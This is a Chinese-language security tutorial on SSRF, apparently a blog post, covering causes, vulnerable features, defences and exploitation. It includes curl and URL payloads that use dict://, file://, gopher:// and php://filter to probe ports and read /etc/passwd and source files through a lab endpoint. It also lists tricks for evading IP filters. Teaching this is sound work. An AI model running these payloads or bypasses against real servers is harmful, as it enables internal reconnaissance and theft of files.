本文最后更新于 2024-07-26,文章内容可能已经过时。

SSRF服务端请求伪造漏洞

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

1.SSRF漏洞简介

什么是SSRF

SSRF ( server-side request forge 服务端请求伪造)是攻击者构造的攻击链接传给服务端执行造成漏洞,一般来在外网探测或攻击内网服务

image-20231116162558260

2.漏洞形成原因

大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤和限制,导致攻击者可以传入任意地址来让后端服务器对其发送请求,并返回改目标地址请求的数据

最常见的例子:攻击者传入一个未验证的URL,后端代码直接请求这个URL,就会造成SSRF漏洞。

3.与CSRF的区别

CSRF (跨站请求伪造· Cross-site request forgery )发生条件:当用户在安全网站 A 登录后保持登录的状态.并同时浏览了保存有恶意代码的另一个网站 B ,此时 B 网站劫持用户的浏览器并以用户登录的状态对 A 网站发送非用广本人操作的情求。

CSRF 是服务器端没有对用户提交的数据进行随机值校验.目对http请求内的refer请求包内的 refer 字校校验不严.导致攻击者可以利用用户的 Cookie 信皂伪造用户请求发送至服务器

SSRF 是服务器对用户提供的可控 URL 过于信任,没有对攻击者提供的 URL 进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或者其地服务器。

4.SSRF攻击的危害

1 获取 web 应用可达服务器服务的banner信息(开发商,软件名称等),以及攻集内网服务的指纹信息(开放的端口,中间件版本)、内部网络和端囗信息

2 攻击允许在内网的系统或应程序,对含有漏洞的内网服务实施攻击获取webshell (Struts2命令执行,通过Redis未授权等)

3 通过Url Scheme读取内部资源或让服务执行相应攻击动作

5.SSRF漏洞场景

1.从web功能点去寻找

通过URL地址分享网页内容

如:微博图片分享等

通过目标地址获取了图像信息,如果此功能中没有对目标地址的范围做过滤与限制,则可能存在SSRF漏洞

如图存在SSRF漏洞

常见内网IP段
局域网,解决了ipv4地址不够用的问题。同时方便维护管理。

局域网地址范围分三类,以下IP段为内网IP段:

C类:192.168.0.0 - 192.168.255.255

B类:172.16.0.0 - 172.31.255.255

A类:10.0.0.0 - 10.255.255.255

2.在线翻译

image-20231117013442540

3.通过URL地址加载与下载图片

开发者为了更好的用户体验,通常对图片做一些调整,而没有直接使用img标签,就可能造成SSRF漏

4.图片文章收藏功能

类似于1中分享获取URL地址里的title及文本内容作为显示

5.从URL关键字寻找

从url的关键字寻找SSRF漏洞

如:share,wap,url,link,src,source,target,u,3g,display,sourceURL,imageURL,domain等关键字

总结:

SSRF漏洞场景通常出现在

1.能够对外部发起网络请求的地方,如下载图片等

2.从服务器请求资源,如请求文本信息的地方

6.SSRF漏洞利用

一.dict协议运用利用SSRF

dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,在SSRF如果可以使用此协议,就可以轻易获取服务器端口上运行的服务版本等信息

dict服务器和客户机使用TCP端口为2628

利用dict协议探测端口

本地利用:

# curl -v 'dict://127.0.0.1:22'

远程利用

# curl -v 'http://47.105.75.177:8080/vulnlab/ssrf1/curl.php?url=dict://139.9.198.30:22'

curl:一种命令行工具,作用是发出网络请求,获取数据

curl -v:显示HTTP通信的整个过程,包括端口链接和HTTP request请求头请求

二.file协议运用利用SSRF

file协议主要用于文件系统中获取文件内容

本地利用:

# curl -v 'file:///etc/passwd'

远程利用:

# curl -v 'http://47.105.75.177:8080/vulnlab/ssrf1/curl.php?url=file:///etc/passwd'

image-20231117020413152

如图能获取到passwd的内容

三.gopher协议运用利用SSRF

nc监听6789端口

nc -lvvp 6789

利用gopher协议对服务器(10.1.1.9)的6789端口输入一条信息

gophe://10.1.1.9:6789/_Hi%0aEveryone%0athis%20is%20just%20a%20test

image-20231117020524698

image-20231117020919178

这里写的是利用gopher协议要传递的内容

其中%0a是换行,%20是空格

image-20231117020934868

监听6789端口后成功读取到10.1.1.9:6789这个服务器所返回的信息

四.SSRF IN php

1.有回显SSRF IN PHP

PHP中下面函数使用不当会导致SSRF漏洞发生

如:

curl_exec()

file_get_contents()

fsockopen()

curl_exec()

前端传进来的url被后端使用curl_exec()进行了请求,然后将请求的结果又返回给了前端

利用方法:

使用dict协议进行内外网端口探测: --dict//

http://47.105.177:8080/vulnlab/ssrf/ssrf1/curl.php?url=dict://47.101.214.85:24680
http://47.105.177:8080/vulnlab/ssrf/curl.php?url=dict://127.0.0.1:22

image-20231117135432446

image-20231117134526314

探测端口:

image-20231117135511508

说明访问到了,可以看看其他端口并访问

![image-20231117135656336](

使用burp进行端口爆破

image-20231117135948749

image-20231117140102554

如图这里爆破到了80端口,显示的是Apache的服务

nc端口监听

nc -lvvp 3389

http://47.105.75.177:8080/vulnlab/ssrf/ssrf1/curl.php?url=dict://47.101.214.85:3389

使用file协议进行敏感文件的读取

linux:

file:///etc/passwd

windows:

file://c:\windows\win.ini

如下图成功使用file协议访问到了服务器下/etc/passwd文件的内容

![image-20231117140335730](

file_get_contents()

使用php的伪协议进行服务器源码内容文件读取:

php://filter 伪协议

如下意思是fgc.php文件的内容通过base64编码后通过php伪协议处理,显示的内容为base64编码后的内容。可以使用base64解码器解码最终获取真实数据

php://filter/read=convert:base64-encode/resource=fgc.php

image-20231117141225686

image-20231117142006897

fsockopen()

fsockopen() 打开一个网络链接或者unix套接字链接

image-20231117142355785

image-20231117142441239

fsock只能针对ip地址或者域名进行访问,无法对加了http协议的地址进行解析访问

image-20231117142624932

2.无回显SSRF IN PHP

HTTP带外通道

Burpsuit Collaborator Client

image-20231117143805930

点击copy to clipboard,将拷贝的内容复制到浏览器运行

image-20231117143854327

image-20231117143954121

DNSlog

http://www.dnslog.cn/

image-20231117144151653

7.SSRF漏洞利用限制绕过:

1.利用解析URL绕过:

某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤,这时可能会出现对URL参数解析不当,导致可能绕过过滤

如:访问:http://www.baidu.com@10.10.10.10与访问10.10.10.10的内容一致(10.10.10.10是内网的ip,可以是任意的一个ip)

2.IP地址转换成进制绕过:

例如 192.168.0.1 这个地址可以改写成:

8进制:0300.0250.0.1

16 进制: 0xC0.0xA8.0.1

10 进制整数格式: 3232235521

16 进制整数格式: 0xCOA80001

在线地址转换:

https://tool.oschina.net/hexconvert/

http://tools.bugscaner.com/iptoint.html

3.添加端口可能绕过正则匹配:

如10.10.10.10:80

乌云的案列:

https://shuimugan.com/bug/view?bug no=61850

4.利用xip.io、xip.name绕过:

当我们访问这个网站的子域名时,如 192.168.0.1.xip.io, 会自动重定向到 192 .168.0.1因此可以利用 302 跳转进行绕过,即IP地址设为 ip.xip.iowww.ip.xip.io

5.短地址的绕过:

内网IP地址有时会被正则表达式过滤掉,可以通过短地址的方式绕过,使用http://tinyurl.com提供的短地址服务,如:

image-20231117153828592

新郎短地址生成器:

https://sina.lt/

6.利用句号绕过:

可以在中间加入中文句号进行绕过

127。0。0。1 >>>> 127.0.0.1

8.SSRF漏洞的防御:

1.过滤返回信息,验证远程服务器对请求的响应。

2.统一错误信息

3.限制请求的端口为http常用的端口

4.设置黑名单内网ip

5.禁用不需要的协议,仅允许http和https请求

总结:

enter image description here